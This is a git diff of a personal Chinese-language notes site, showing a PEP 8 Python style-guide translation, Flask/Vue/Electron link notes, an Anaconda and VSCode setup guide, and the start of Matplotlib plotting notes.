  • 当给有类型备注的参数赋值的时候,在=两边添加空格(仅针对那种有类型备注和默认值的参数)。
    推荐

    def munge(sep: AnyStr = None): ...
    +def munge(input: AnyStr, sep: AnyStr = None, limit=1000): ...
    +

    不推荐

    def munge(input: AnyStr=None): ...
    +def munge(input: AnyStr, limit = 1000): ...
    +

  • 复合语句(同一行中的多个语句)通常是不允许的。
    推荐:
    if foo == 'blah':
    +  do_blah_thing()
    +do_one()
    +do_two()
    +do_three()
    +
    最好别这样:
    if foo == 'blah': do_blah_thing()
    +do_one(); do_two(); do_three()
    +

  • 虽然有时候将小的代码块和 if/for/while 放在同一行没什么问题,多行语句块的情况不要这样用,同样也要避免代码行太长!
    最好别这样:
    if foo == 'blah': do_blah_thing()
    +for x in lst: total += x
    +while t < 10: t = delay()
    +
    绝对别这样:
    if foo == 'blah': do_blah_thing()
    +else: do_non_blah_thing()
    +
    +try: something()
    +finally: cleanup()
    +
    +do_one(); do_two(); do_three(long, argument,
    +                             list, like, this)
    +if foo == 'blah': one(); two(); three()
    +

Comments 注释

  • 与代码相矛盾的注释比没有注释还糟,当代码更改时,优先更新对应的注释!
  • 注释应该是完整的句子。如果一个注释是一个短语或句子,它的第一个单词应该大写,除非它是以小写字母开头的标识符(永远不要改变标识符的大小写!)。
  • 如果注释很短,结尾的句号可以省略。块注释一般由完整句子的一个或多个段落组成,并且每句话结束有个句号。
  • 在句尾结束的时候应该使用两个空格。
  • 当用英文书写时,遵循Strunk and White (译注:《Strunk and White, The Elements of Style》)的书写风格。
  • 在非英语国家的Python程序员,请使用英文写注释,除非你120%的确信你的代码不会被使用其他语言的人阅读。

Block Comments 块注释

  • 块注释通常适用于跟随它们的某些(或全部)代码,并缩进到与代码相同的级别。块注释的每一行开头使用一个#和一个空格(除非块注释内部缩进文本)。
  • 块注释内部的段落通过只有一个#的空行分隔。

Inline Comments 行内注释

  • 有节制地使用行内注释。
  • 行内注释是与代码语句同行的注释。行内注释和代码至少要有两个空格分隔。注释由#和一个空格开始。
  • 事实上,如果状态明显的话,行内注释是不必要的,反而会分散注意力。
    比如说下面这样就不需要:
    x = x + 1                 # Increment x
    +
    但有时,这样做很有用:
    x = x + 1                 # Compensate for border
    +

Documentation Strings 文档字符串

  • 编写好的文档说明(也叫“docstrings”)的约定在PEP 257中永恒不变。
  • 要为所有的公共模块,函数,类以及方法编写文档说明。非公共的方法没有必要,但是应该有一个描述方法具体作用的注释。这个注释应该在def那一行之后。
  • PEP 257 描述了写出好的文档说明相关的约定。特别需要注意的是,多行文档说明使用的结尾三引号应该自成一行,例如:
    """Return a foobang
    +
    +Optional plotz says to frobnicate the bizbaz first.
    +"""
    +
  • 对于单行的文档说明,尾部的三引号应该和文档在同一行。

Naming Conventions 命名规范

  • Python库的命名规范很乱,从来没能做到完全一致。但是目前有一些推荐的命名标准。新的模块和包(包括第三方框架)应该用这套标准,但当一个已有库采用了不同的风格,推荐保持内部一致性。

Overriding Principle 最重要的原则

  • 那些暴露给用户的API接口的命名,应该遵循反映使用场景而不是实现的原则。

Descriptive: Naming Styles 描述:命名风格

  • 有许多不同的命名风格。这里能够帮助大家识别正在使用什么样的命名风格,而不考虑他们为什么使用。

  • 以下是常见的命名方式:

    • b(单个小写字母)
    • B(单个大写字母)
    • lowercase 小写字母
    • lower_case_with_underscores 使用下划线分隔的小写字母
    • UPPERCASE 大写字母
    • UPPER_CASE_WITH_UNDERSCORES 使用下划线分隔的大写字母
    • CapitalizedWords(或者叫 CapWords,或者叫CamelCase 驼峰命名法 —— 这么命名是因为字母看上去有起伏的外观5)。有时候也被称为StudlyCaps。
      • 注意:当在首字母大写的风格中用到缩写时,所有缩写的字母用大写,因此,HTTPServerError 比 HttpServerError 好。
    • mixedCase(不同于首字母大写,第一个单词的首字母小写)
    • Capitalized_Words_With_Underscores(巨丑无比!)
  • 也有用唯一的短前缀把相关命名组织在一起的方法。这在Python中不常用,但还是提一下。比如,os.stat()函数中包含类似以st_mode,st_size,st_mtime这种传统命名方式命名的变量。(这么做是为了与 POSIX 系统的调用一致,以帮助程序员熟悉它。)

  • X11库的所有公共函数都加了前缀X。在Python里面没必要这么做,因为属性和方法在调用的时候都会用类名做前缀,函数名用模块名做前缀。

  • 另外,下面这种用前缀或结尾下划线的特殊格式是被认可的(通常和一些约定相结合):

    • _single_leading_underscore:(单下划线开头)弱“内部使用”指示器。比如 from M import * 是不会导入以下划线开始的对象的
    • __double_leading_underscore:(双下划线开头)当这样命名一个类的属性时,调用它的时候名字会做矫正(在类FooBar中,__boo变成了_FooBar__boo;见下文)。
    • double_leading_and_trailing_underscore:(双下划线开头,双下划线结尾)“magic”对象或者存在于用户控制的命名空间内的属性,例如:init,import__或者__file。除了作为文档之外,永远不要命这样的名。

Prescriptive: Naming Conventions 约定俗成:命名约定

Names to Avoid 应避免的名字

  • 永远不要使用字母‘l’(小写的L),‘O’(大写的O),或者‘I’(大写的I)作为单字符变量名。
  • 在有些字体里,这些字符无法和数字0和1区分,如果想用‘l’,用‘L’代替。

Package and Module Names 包名和模块名

  • 模块应该用简短全小写的名字,如果为了提升可读性,下划线也是可以用的Python包名也应该使用简短全小写的名字,但不建议用下划线。 当使用C或者C++编写了一个依赖于提供高级(更面向对象)接口的Python模块的扩展模块,这个C/C++模块需要一个下划线前缀(例如:_socket)

Class Names 类名

  • 类名一般使用首字母大写的约定。
  • 在接口被文档化并且主要被用于调用的情况下,可以使用函数的命名风格代替。
  • 注意,对于内置的变量命名有一个单独的约定:大部分内置变量是单个单词(或者两个单词连接在一起),首字母大写的命名法只用于异常名或者内部的常量。

Exception Names 异常名

  • 因为异常一般都是类,所有类的命名方法在这里也适用。然而,你需要在异常名后面加上“Error”后缀(如果异常确实是一个错误)。

Global Variable Names 全局变量名

  • (我们希望这一类变量只在模块内部使用。)约定和函数命名规则一样。
  • 通过 from M import * 导入的模块应该使用all机制去防止内部的接口对外暴露,或者使用在全局变量前加下划线的方式(表明这些全局变量是模块内非公有)。

Function Names 函数名

  • 函数名应该小写,如果想提高可读性可以用下划线分隔
  • 大小写混合仅在为了兼容原来主要以大小写混合风格的情况下使用(比如 threading.py),保持向后兼容性。

Function and method arguments 函数和方法参数

  • 始终要将 self 作为实例方法的的第一个参数。
  • 始终要将 cls 作为类静态方法的第一个参数。
  • 如果函数的参数名和已有的关键词冲突,在最后加单一下划线比缩写或随意拼写更好。因此 class_ 比 clss 更好。(也许最好用同义词来避免这种冲突)

Method Names and Instance Variables 方法名和实例变量

  • 遵循这样的函数命名规则:使用下划线分隔小写单词以提高可读性。
  • 在非共有方法和实例变量前使用单下划线。
  • 通过双下划线前缀触发Python的命名转换规则来避免和子类的命名冲突。
    • Python通过类名对这些命名进行转换:如果类 Foo 有一个叫 __a 的成员变量, 它无法通过 Foo.__a 访问。(执着的用户可以通过 Foo._Foo__a 访问。)一般来说,前缀双下划线用来避免类中的属性命名与子类冲突的情况。
  • 注意:关于__names的用法存在争论(见下文)。

Constants 常量

  • 常量通常定义在模块级,通过下划线分隔的全大写字母命名。例如: MAX_OVERFLOW 和 TOTAL。

Designing for inheritance 继承的设计\

  • 始终要考虑到一个类的方法和实例变量(统称:属性)应该是共有还是非共有。如果存在疑问,那就选非共有;因为将一个非共有变量转为共有比反过来更容易。
  • 公共属性是那些与类无关的客户使用的属性,并承诺避免向后不兼容的更改。非共有属性是那些不打算让第三方使用的属性;你不需要承诺非共有属性不会被修改或被删除。
  • 我们不使用“私有(private)”这个说法,是因为在Python中目前还没有真正的私有属性(为了避免大量不必要的常规工作)。
  • 另一种属性作为子类API的一部分(在其他语言中通常被称为“protected”)。有些类是专为继承设计的,用来扩展或者修改类的一部分行为。当设计这样的类时,要谨慎决定哪些属性时公开的,哪些是作为子类的API,哪些只能在基类中使用。
  • 贯彻这样的思想,一下是一些让代码Pythonic的准则:
    • 公共属性不应该有前缀下划线。
    • 如果公共属性名和关键字冲突,在属性名之后增加一个下划线。这比缩写和随意拼写好很多。(然而,尽管有这样的规则,在作为参数或者变量时,‘cls’是表示‘类’最好的选择,特别是作为类方法的第一个参数。)
      • 注意1:参考之前的类方法参数命名建议
      • 注意2:尽管功能方法对于类似缓存的负面影响比较小,但还是要尽量避免。
      • 注意3:属性标记会让调用者认为开销(相当的)小,避免用属性做开销大的计算。
    • 如果你的类打算用来继承的话,并且这个类里有不希望子类使用的属性,就要考虑使用双下划线前缀并且没有后缀下划线的命名方式。这会调用Python的命名转换算法,将类的名字加入到属性名里。这样做可以帮助避免在子类中不小心包含了相同的属性名而产生的冲突。
      • 注意1:只有类名才会整合进属性名,如果子类的属性名和类名和父类都相同,那么你还是会有命名冲突的问题。
      • 注意2:命名转换会在某些场景使用起来不太方便,例如调试,getattr()。然而命名转换的算法有很好的文档说明并且很好操作。
      • 注意3:不是所有人都喜欢命名转换。尽量避免意外的名字冲突和潜在的高级调用。

Public and internal interfaces 公共和内部的接口

  • 任何向后兼容保证只适用于公共接口,因此,用户清晰地区分公共接口和内部接口非常重要。
  • 文档化的接口被认为是公开的,除非文档明确声明它们是临时或内部接口,不受通常的向后兼容性保证。所有未记录的接口都应该是内部的。
  • 为了更好地支持内省(introspection),模块应该使用__all__属性显式地在它们的公共API中声明名称。将__all__设置为空列表表示模块没有公共API。
  • 即使通过__all__设置过,内部接口(包,模块,类,方法,属性或其他名字)依然需要单个下划线前缀。
  • 如果一个命名空间(包,模块,类)被认为是内部的,那么包含它的接口也应该被认为是内部的。
  • 导入的名称应该始终被视作是一个实现的细节。其他模块必须不能间接访问这样的名称,除非它是包含它的模块中有明确的文档说明的API,例如 os.path 或者是一个包里从子模块公开函数接口的 init 模块。

Programming Recommendations 编程建议

  • 代码应该用不损害其他Python实现的方式去编写(PyPy,Jython,IronPython,Cython,Psyco 等)。

    • 比如,不要依赖于在CPython中高效的内置字符连接语句 a += b 或者 a = a + b。这种优化甚至在CPython中都是脆弱的(它只适用于某些类型)并且没有出现在不使用引用计数的实现中。在性能要求比较高的库中,可以种 ”.join() 代替。这可以确保字符关联在不同的实现中都可以以线性时间发生。
  • 和像None这样的单例对象进行比较的时候应该始终用 is 或者 is not,永远不要用等号运算符。

    • 另外,如果你在写 if x 的时候,请注意你是否表达的意思是 if x is not None。举个例子,当测试一个默认值为None的变量或者参数是否被设置为其他值的时候。这个其他值应该是在上下文中能成为bool类型false的值。
  • 使用 is not 运算符,而不是 not … is 。虽然这两种表达式在功能上完全相同,但前者更易于阅读,所以优先考虑。
    推荐:

    if foo is not None:
    +

    不推荐:

    if not foo is None:
    +
  • 当使用富比较(rich comparisons,一种复杂的对象间比较的新机制,允许返回值不为-1,0,1)实现排序操作的时候,最好实现全部的六个操作符(eq, ne, lt, gt, ge)而不是依靠其他的代码去实现特定的比较。

    • 为了最大程度减少这一过程的开销, functools.total_ordering() 修饰符提供了用于生成缺少的比较方法的工具。
    • PEP 207 指出Python实现了反射机制。因此,解析器会将 y > x 转变为 x < y,将 y >= x 转变为 x <= y,也会转换x == y 和 x != y的参数。sort() 和 min()方法确保使用<操作符,max()使用>操作符。然而,最好还是实现全部六个操作符,以免在其他地方出现冲突。
  • 始终使用def表达式,而不是通过赋值语句将lambda表达式绑定到一个变量上。 推荐:

    def f(x): return 2*x
    +

    不推荐:

    f = lambda x: 2*x
    +
    • 第一个形式意味着生成的函数对象的名称是“f”而不是泛型“< lambda >”。这在回溯和字符串显示的时候更有用。赋值语句的使用消除了lambda表达式优于显式def表达式的唯一优势(即lambda表达式可以内嵌到更大的表达式中)。
  • 从Exception继承异常,而不是BaseException。直接继承BaseException的异常适用于几乎不用来捕捉的异常。

    • 设计异常的等级,要基于扑捉异常代码的需要,而不是异常抛出的位置。以编程的方式去回答“出了什么问题?”,而不是只是确认“出现了问题”(内置异常结构的例子参考 PEP 3151 )
    • 类的命名规范适用于这里,但是你需要添加一个“Error”的后缀到你的异常类,如果异常是一个Error的话。非本地流控制或者其他形式的信号的非错误异常不需要特殊的后缀。
  • 适当地使用异常链接。在Python 3里,为了不丢失原始的根源,可以显式指定“raise X from Y”作为替代。

    • 当故意替换一个内部异常时(Python 2 使用“raise X”, Python 3.3 之后 使用 “raise X from None”),确保相关的细节转移到新的异常中(比如把AttributeError转为KeyError的时候保留属性名,或者将原始异常信息的文本内容内嵌到新的异常中)。
  • 在Python 2中抛出异常时,使用 rasie ValueError(‘message’) 而不是用老的形式 raise ValueError, ‘message’。

    • 第二种形式在Python3 的语法中不合法
    • 使用小括号,意味着当异常里的参数非常长,或者包含字符串格式化的时候,不需要使用换行符。
  • 当捕获到异常时,如果可以的话写上具体的异常名,而不是只用一个except: 块。 比如说:

    try:
    +  import platform_specific_module
    +except ImportError:
    +  platform_specific_module = None
    +
    • 如果只有一个except: 块将会捕获到SystemExit和KeyboardInterrupt异常,这样会很难通过Control-C中断程序,而且会掩盖掉其他问题。如果你想捕获所有指示程序出错的异常,使用 except Exception: (只有except等价于 except BaseException:)。
    • 两种情况不应该只使用‘excpet’块:
      • 如果异常处理的代码会打印或者记录log;至少让用户知道发生了一个错误。
      • 如果代码需要做清理工作,使用 raise..try…finally 能很好处理这种情况并且能让异常继续上浮。
        • 当给捕捉的异常绑定一个名字时,推荐使用在Python 2.6中加入的显式命名绑定语法:
        try:
        +  process_data()
        +except Exception as exc:
        +  raise DataProcessingFailedError(str(exc))
        +
  • 为了避免和原来基于逗号分隔的语法出现歧义,Python3只支持这一种语法。

    • 当捕捉操作系统的错误时,推荐使用Python 3.3 中errno内定数值指定的异常等级。
    • 另外,对于所有的 try/except 语句块,在try语句中只填充必要的代码,这样能避免掩盖掉bug。
      推荐:
    try:
    +  value = collection[key]
    +except KeyError:
    +  return key_not_found(key)
    +else:
    +  return handle_value(value)
    +

    不推荐:

    try:
    +  # Too broad!
    +  return handle_value(collection[key])
    +except KeyError:
    +  # Will also catch KeyError raised by handle_value()
    +  return key_not_found(key)
    +

  • 当代码片段局部使用了某个资源的时候,使用with 表达式来确保这个资源使用完后被清理干净。用try/finally也可以。
    • 参考链接open in new window
    • 编程中,在我们使用系统资源的时候,如需打开一个文件用于读写,加锁确保线程安全,在使用完成后需要关闭该文件,释放我们所占用的资源。通常,我们可以将其封装在一个try...except...finally语句块中,这样能够确保在运行产生错误的情况我们也能释放相关资源。但每次都要记得手动关闭,着实麻烦。毕竟懒是是第一生产力,有没有更简便的写法?
    • 答案是:有。Python提供了一个with表达式,只要将相关的代码块放入with表达式中,它便能起到一个类似try...except的作用,这使得我们不需要每次使用完成后再去手动关闭相关资源了。其使用语法为:
    with_stmt ::=  "with" with_item ("," with_item)* ":" suite
    +with_item ::=  expression ["as" target]
    +
    +例如:
    +with open('myfile.txt', 'w') as fd:
    +  # read or write here
    +  BLOCK1
    +  ...
    +  # other work
    +
    +# outside with statement
    +# other work
    +BLOCK2
    +...
    +
    • 实际上,with表达式是将用户相关代码块封装在一个上下文管理器(context manager)中。所谓上下文管理器,通俗的讲,其实就是一个包含特定方法对__enter__, __exit__的对象,该方法对使得用户可以在进入相关代码块前设置好所需上下文环境,并在相关代码块退出后做一些善后工作,如释放资源,解锁等。
    • with的执行流程如下所示:
      1. 获取上下文管理器。例如上面代码块中的open('myfile.txt', 'w')会将文件自身返回; 2.上下文管理器的__enter__方法被调用; 3.第二步中的返回值被赋值到target,如果target存在的话; 4.执行with中的代码块,BLOCK1 5.上下文管理器的__exit__方法被调用。 6.判断代码块的退出原因,如果是因为一场退出,执行第7步,如果因为除了异常以外的原因(如正常退出),忽略第七步; 7.判断第5步中__exit__的返回值,如果是True,忽略异常继续执行后面代码,如果是False则抛出该异常,终止执行。
    • 上面几个步骤可以用伪代码表示如下:
    context_manager = SomeKindOfManager()
    +target = context_manager.__enter__()
    +try:
    +  BLOCK1
    +finally:
    +  result = context_manager.__exit__()
    +  if reason is exception:
    +      if result:
    +          suppress exception
    +      else 
    +          raise exception
    +
    +BLOCK2
    +
    • 上面提到的__exit__方法接收三个参数,分别是exception_type, exception_value, exception_traceback。
    • 下面,就用个小栗子作为结束吧。
    class MyContextManager(object):                                                       
    +
    +  def __enter__(self):
    +      return 'hello world'
    +
    +  def __exit__(self, exc_type, exc_val, exc_traceback):
    +      print('Byebye')
    +
    +
    +with MyContextNanager() as msg:
    +  print(msg)
    +
    其结果为:
    hello world
    +Byebye
    +

  • 无论何时获取和释放资源,都应该通过单独的函数或方法调用上下文管理器。举个例子:
    推荐:
    with conn.begin_transaction():
    +  do_stuff_in_transaction(conn)
    +
    不推荐:
    with conn:
    +  do_stuff_in_transaction(conn)
    +
    • 第二个例子没有提供任何信息去指明__enter__和__exit__方法在事务之后做出了关闭连接之外的其他事情。这种情况下,明确指明非常重要。
      • 返回的语句保持一致。函数中的返回语句都应该返回一个表达式,或者都不返回。如果一个返回语句需要返回一个表达式,那么在没有值可以返回的情况下,需要用 return None 显式指明,并且在函数的最后显式指定一条返回语句(如果能跑到那的话)。 推荐:
        def foo(x):
        +  if x >= 0:
        +    return math.sqrt(x)
        +  else:
        +    return None
        +
        +def bar(x):
        +  if x < 0:
        +    return None
        +  return math.sqrt(x)
        +
        不推荐:
        def foo(x):
        +  if x >= 0:
        +    return math.sqrt(x)
        +
        +def bar(x):
        +  if x < 0:
        +    return
        +  return math.sqrt(x)
        +
  • 使用字符串方法代替字符串模块。
    • 字符串方法总是更快,并且和unicode字符串分享相同的API。如果需要兼容Python2.0之前的版本可以不用考虑这个规则。
  • 使用 ”.startswith() 和 ”.endswith() 代替通过字符串切割的方法去检查前缀和后缀。
    • startswith()和endswith()更干净,出错几率更小。比如:
      推荐: if foo.startswith('bar'):
      +糟糕: if foo[:3] == 'bar':
      +
  • 对象类型的比较应该用isinstance()而不是直接比较type。
    正确: if isinstance(obj, int):
    +糟糕: if type(obj) is type(1):
    +
    • 当检查一个对象是否为string类型时,记住,它也有可能是unicode string!在Python2中,str和unicode都有相同的基类:basestring,所以你可以这样:
      if isinstance(obj, basestring):
      +
      • 注意,在Python3中,unicode和basestring都不存在了(只有str)并且bytes类型的对象不再是string类型的一种(它是整数序列)
  • 对于序列来说(strings,lists,tuples),可以使用空序列为false的情况。
    正确: if not seq:
    +      if seq:
    +
    +糟糕: if len(seq):
    +      if not len(seq):
    +
  • 书写字符串时不要依赖单词结尾的空格,这样的空格在视觉上难以区分,有些编辑器会自动去掉他们(比如 reindent.py (译注:re indent 重新缩进))
  • 不要用 == 去和True或者False比较:
    正确: if greeting:
    +糟糕: if greeting == True:
    +更糟: if greeting is True:  
    +

Function Annotations 功能注释

  • 随着PEP 484的引入,功能型注释的风格规范有些变化。
    • 为了向前兼容,在Python3代码中的功能注释应该使用 PEP 484的语法规则。(在前面的章节中对注释有格式化的建议。)
    • 不再鼓励使用之前在PEP中推荐的实验性样式。
    • 然而,在stdlib库之外,在PEP 484中的实验性规则是被鼓励的。比如用PEP 484的样式标记大型的第三方库或者应用程序,回顾添加这些注释是否简单,并观察是否增加了代码的可读性。
    • Python的标准库代码应该保守使用这种注释,但新的代码或者大型的重构可以使用这种注释。
    • 如果代码希望对功能注释有不同的用途,建议在文件的顶部增加一个这种形式的注释:
      # type: ignore
      +
      • 这会告诉检查器忽略所有的注释。(在 PEP 484中可以找到从类型检查器禁用投诉的更细粒度的方法。)
    • 像linters一样,类型检测器是可选的可独立的工具。默认情况下,Python解释器不应该因为类型检查而发出任何消息,也不应该基于注释改变它们的行为。
    • 不想使用类型检测的用户可以忽略他们。然而,第三方库的用户可能希望在这些库上运行类型检测。为此, PEP 484 建议使用存根文件类型:.pyi文件,这种文件类型相比于.py文件会被类型检测器读取。存根文件可以和库一起,或者通过typeshed repo6独立发布(通过库作者的许可)
    • 对于需要向后兼容的代码,可以以注释的形式添加功能型注释。参见PEP 484open in new window的相关部分。(参考:Suggested syntax for Python 2.7 and straddling code)open in new window

参考

  1. PEP 7, Style Guide for C Code, van Rossum
  2. Barry’s GNU Mailman style guideopen in new window
  3. 挂行缩进是一种类型设置样式,其中除第一行之外,段落中的所有行都缩进。在Python中,这个术语是用来描述一种风格:在被括号括起来的语句中,左括号是这一行最后一个非空格字符,随后括号内的内容每一行进行缩进,直到遇到右括号。
  4. Donald Knuth’s The TeXBook, pages 195 and 196
  5. Camel caseopen in new window
  6. Typeshed repoopen in new window
  7. Suggested syntax for Python 2.7 and straddling codeopen in new window
+ + + diff --git a/Language/Python/PythonWeb.html b/Language/Python/PythonWeb.html new file mode 100644 index 0000000000..3e6b1be255 --- /dev/null +++ b/Language/Python/PythonWeb.html @@ -0,0 +1,40 @@ + + + + + + + + Flask + VUE + Electron + gitee | DailyNotes + + + + + + +
跳至主要內容

Flask + VUE + Electron + gitee

大约 4 分钟

Flask + VUE + Electron + gitee


前后端分离开发

前后端分离和混合开发模式 - 知乎 (zhihu.com)open in new window


在传统架构模式中,前后端代码存放于同一个代码库中,甚至是同一工程目录下。页面中还夹杂着后端代码。前后端工程师进行开发时,都必须把整个项目导入到开发工具中。

前后端代码库分离,前端代码中有可以进行 Mock测试(通过构造虚拟测试对象以简化测试环境的方法)的伪后端,能支持前端的独立开发和测试。而后端代码中除了功能实现外,还有着详细的测试用例,以保证 API 的可用性,降低集成风险。


img


在开发期间前后端共同商定好数据接口的交互形式和数据格式。然后实现前后端的并行开发;
其中前端工程师在开发完成之后可以独自进行 mock测试,而后端也可以使用 Postman 等接口测试软件进行接口自测,然后前后端一起进行功能联调并校验格式,最终进行自动化测试。

如此一来可以实现前后端代码解耦, 并行开发项目, 能够提升开发效率且易于维护


VUE

Vue.js (vuejs.org)open in new window

01-Vue的介绍和vue-cli | 千古前端图文教程 (qianguyihao.com)open in new window


Vue 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层,不仅易于上手,还便于与第三方库或既有项目整合。另一方面,当与现代化的工具链open in new window以及各种支持类库open in new window结合使用时,Vue 也完全能够为复杂的单页应用提供驱动。

在 Vue 中, 一个核心的概念就是: 数据驱动, 避免手动操作 DOM 元素, 如此一来开发者则无需关心 DOM 是如何渲染的从而有更多时间专注于业务逻辑的实现


快速上手

官方文档: Vue.js (vuejs.org)open in new window

Microsoft Learn: 开始使用 Vue.jsopen in new window

01-Vue的介绍和vue-cli | 千古前端图文教程 (qianguyihao.com)open in new window

尚硅谷: Vue快速入门open in new window


练习 - 添加计算属性 - Learn | Microsoft Docsopen in new window

image-20220121003432151image-20220121003647139

组件库

一个 Vue 3 UI 框架 | Element Plus (gitee.io)open in new window

即时设计 - 可实时协作的专业 UI 设计工具 (js.design)open in new window

资源广场 - 即时设计 (js.design)open in new window

Element 饿了么设计规范库 - 即时设计 (js.design)open in new window

饿了么页面模版库 - 即时设计 (js.design)open in new window

VUE优秀UI组件库合集 - 掘金 (juejin.cn)open in new window


模板

10 个 GitHub 上超火和超好看的管理后台模版,又能愉快的上班摸鱼了 - SegmentFault 思否open in new window

Fantastic-admin 官网 (hooray.github.io)open in new window


Flask

欢迎来到 Flask 的世界 — Flask 中文文档( 1.1.2 ) (dormousehole.readthedocs.io)open in new window

Python的Web框架Flask + Vue 生成漂亮的词云 - 云+社区 - 腾讯云 (tencent.com)open in new window

Flask+Vue 初试牛刀 - Nsubmarine - 博客园 (cnblogs.com)open in new window


FastAPI

FastAPI (tiangolo.com)open in new window

使用 python fastapi+vue 快速搭建网站 | elprup's blogopen in new window

请不要把 Flask 和 FastAPI 放到一起比较 - 知乎 (zhihu.com)open in new window


Electron

快速入门 | Electron (electronjs.org)open in new window

Python + Flask + Electron 混合开发入门 (项目演示)_Likianta 的博客-CSDN博客_electron flaskopen in new window


Tauri

tauri-apps/tauri: Build smaller, faster, and more secure desktop applications with a web frontend. (github.com)open in new window

tauri - 可替换 electron 的PC端 SPA 框架 - SegmentFault 思否open in new window

手把手教你用 Tauri+Vue 创建小型桌面应用_Crazymryan的博客-CSDN博客open in new window


Gitee

我的工作台 - Gitee.comopen in new window

https://learngitbranching.js.org/?locale=zh_CN

more branches

先 pull 后 commit/push


Github

GitHubopen in new window

dev-sidecar: 开发者边车open in new window

GitHub Educationopen in new window

开发人员计划|Microsoft 365开发人员中心open in new window

Free Educational Licenses - Community Support (jetbrains.com)open in new window

+ + + diff --git a/Language/Python/QuickStart.html b/Language/Python/QuickStart.html new file mode 100644 index 0000000000..d91f793e74 --- /dev/null +++ b/Language/Python/QuickStart.html @@ -0,0 +1,46 @@ + + + + + + + + QuickStart | DailyNotes + + + + + + +
跳至主要內容

QuickStart

大约 3 分钟

QuickStart


快速开始

Anaconda + VSCode + jupyter插件 + Python相关插件

  • Anaconda: 用于管理 python 环境
  • VSCode: 用于编写与运行 python 程序
  • VSCode 中的 Jupyter 插件: 用于交互式编写 python 程序
  • VSCode 中的 Python 相关插件: 用于支持一些 Python 相关的代码提示, 语法高亮之类

Anaconda

Python 开发环境配置 | DailyNotes (ayusummer.github.io)open in new window
需要注意的是, 使用 Anaconda Navigator 或者 conda 环境操作时需要关掉梯子, 否则可能会报 host 错误

安装完成后打开 Anaconda Navigator:

image-20220523093633147

Anaconda 换源

anaconda修改国内源 - 余者皆可 - 博客园 (cnblogs.com)open in new window

  • 打开 anaconda prompt
    20220113131937
    20220113132007

  • 执行以下命令来配置清华源:

    conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/
    +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge
    +conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/msys2/
    +

    配置清华源是为了后续使用 pip 命令安装 python 库时快些, 不配置换源而直接使用默认源的话在墙内容易超时报错


新建一个 conda 环境

打开 Anaconda Navigator -> Environments 在环境列表底部按钮中找到 Create 并点击

image-20220517153334579

为新环境命一个名(英文命名, 尽量简短些, 之后激活要用)

这里选择了 Python 3.8.13, 不上 3.9 或者 3.10 主要是因为有一些三方库更新没跟上, 不一定支持 python3.9 及以上

image-20220517153442365

在命令行中使用 conda 环境可以使用如下指令激活:

conda activate 环境名
+

image-20220517153733464


环境变量

在控制台输入 conda -V 没有反应的话应该是环境变量没加(虽然我记得装的时候会提示勾选添加环境变量)

如果没添加环境变量的话可以编辑系统环境变量, 在 系统变量Path 项中添加两条环境变量

C:\Users\xxx\Anaconda3
+C:\Users\xxx\Anaconda3\Scripts
+

第一条对应自己的 Anaconda 安装位置根目录
第二条对应 Anaconda 根目录下的 Scripts 目录


VSCode

VSCode | DailyNotes (ayusummer.github.io)open in new window

用于编辑与运行 python 程序, 选择 VSCode 主要是其比较轻量, 启动比较快, 用起来比较顺手, 且插件市场庞大, 对于许多语言都有插件支持, 按需下载

比起安装 python 解释器自带的 IDLE 友好许多, 又不会像 Pycharm 一样庞大/启动慢/占资源, 作为平时写点小脚本, 小玩意儿来说完全够用


VSCode 扩展安装

  • 汉化插件

    image-20220113132736972

  • Python 相关基础插件

    image-20220113132900552

  • jupyter 插件

    image-20220113132930881

    使用 Jupyter 的好处在于可以边写笔记边写代码, 如下图所示, 在笔记中可以插入代码块并运行及显示

    image-20220113133105876

  • Markdown 插件

    image-20220113133332281

  • 命令行插件 Terminal

    image-20220113134443536

    用于在 VSCode 中打开 powershell 执行命令

    image-20220113134623777

+ + + diff --git a/Language/Python/index.html b/Language/Python/index.html new file mode 100644 index 0000000000..8c4e2c85a7 --- /dev/null +++ b/Language/Python/index.html @@ -0,0 +1,40 @@ + + + + + + + + Python | DailyNotes + + + + + + +
跳至主要內容

Python

小于 1 分钟

+ + + diff --git a/Language/Python/libs/Matplotlib/Matplotlib.html b/Language/Python/libs/Matplotlib/Matplotlib.html new file mode 100644 index 0000000000..dad77939ab --- /dev/null +++ b/Language/Python/libs/Matplotlib/Matplotlib.html @@ -0,0 +1,654 @@ + + + + + + + + 目录 | DailyNotes + + + + + + +
跳至主要內容

目录

大约 26 分钟

目录


Matplotlib



  • 数据可视化
  • 是python的绘图库
    • 可以绘制诸如散点/饼状/线/直方/误差线图
    • 图形质量满足出版要求

pyplot


pyplot绘图的基本操作

pyplot绘图的基本操作备用链接


创建画布与创建子图

  • 创建一张空白画图,并可以选择是否将整个画布划分为多个部分,方便在同一幅图上绘制多个图形
    • 也可以省略,直接在默认的画布上进行图形绘制,通常情况下省略
函数函数作用
plt.figure()创建一个空白画布,可以指定画布大小,像素
plt.subplot()创建并选中子图,可以指定子图的行数,列数,与选中图片编号
  • figure
matplotlib.pyplot def figure(num: Union[int, str, None] = None,
+           figsize: Any = None,
+           dpi: Optional[int] = None,
+           facecolor: Any = None,
+           edgecolor: Any = None,
+           frameon: Optional[bool] = True,
+           FigureClass: Any = Figure,
+           clear: Optional[bool] = False,
+           **kwargs: Any) -> Any
+

注意:当你使用画布时,务必记得在不使用该画布时使用 pyplot.close 来关闭画布以清理其占用的内存

  • 否则你可能会因为内存溢出而头痛不已
  • num
    • 图像编号或名称
      • 数字为编号
      • 字符串为名称
  • figsize
    • 指定figure的宽和高
    • 单位为英寸;
  • dpi
    • 指定绘图对象的分辨率
      • 即每英寸多少个像素,缺省值为80
        • 1英寸等于2.5cm
        • A4纸是 21*30cm的纸张
  • facecolor
    • 背景颜色
  • edgecolor
    • 边框颜色
import matplotlib.pyplot as plt
+import numpy as np
+
+a = np.arange(1, 13)
+b = np.array([12, 12, 34, 23, 56, 45, 24, 45, 23, 45, 21, 12])
+c = a ** 2 + 1
+plt.figure('qwqerr', figsize=(10, 5), dpi=60)  # 定义画布
+plt.plot(a, b)
+plt.figure('12', figsize=(10, 5), dpi=60)
+plt.plot(a, c)
+plt.show()
+
+
  • 运行结果

添加图的基本要素

  • 添加标题(图, xy轴), 设置可读与范围(x, y轴)
  • 添加图标题,坐标轴名称,设置刻度与范围
    • 没有先后顺序

函数函数作用
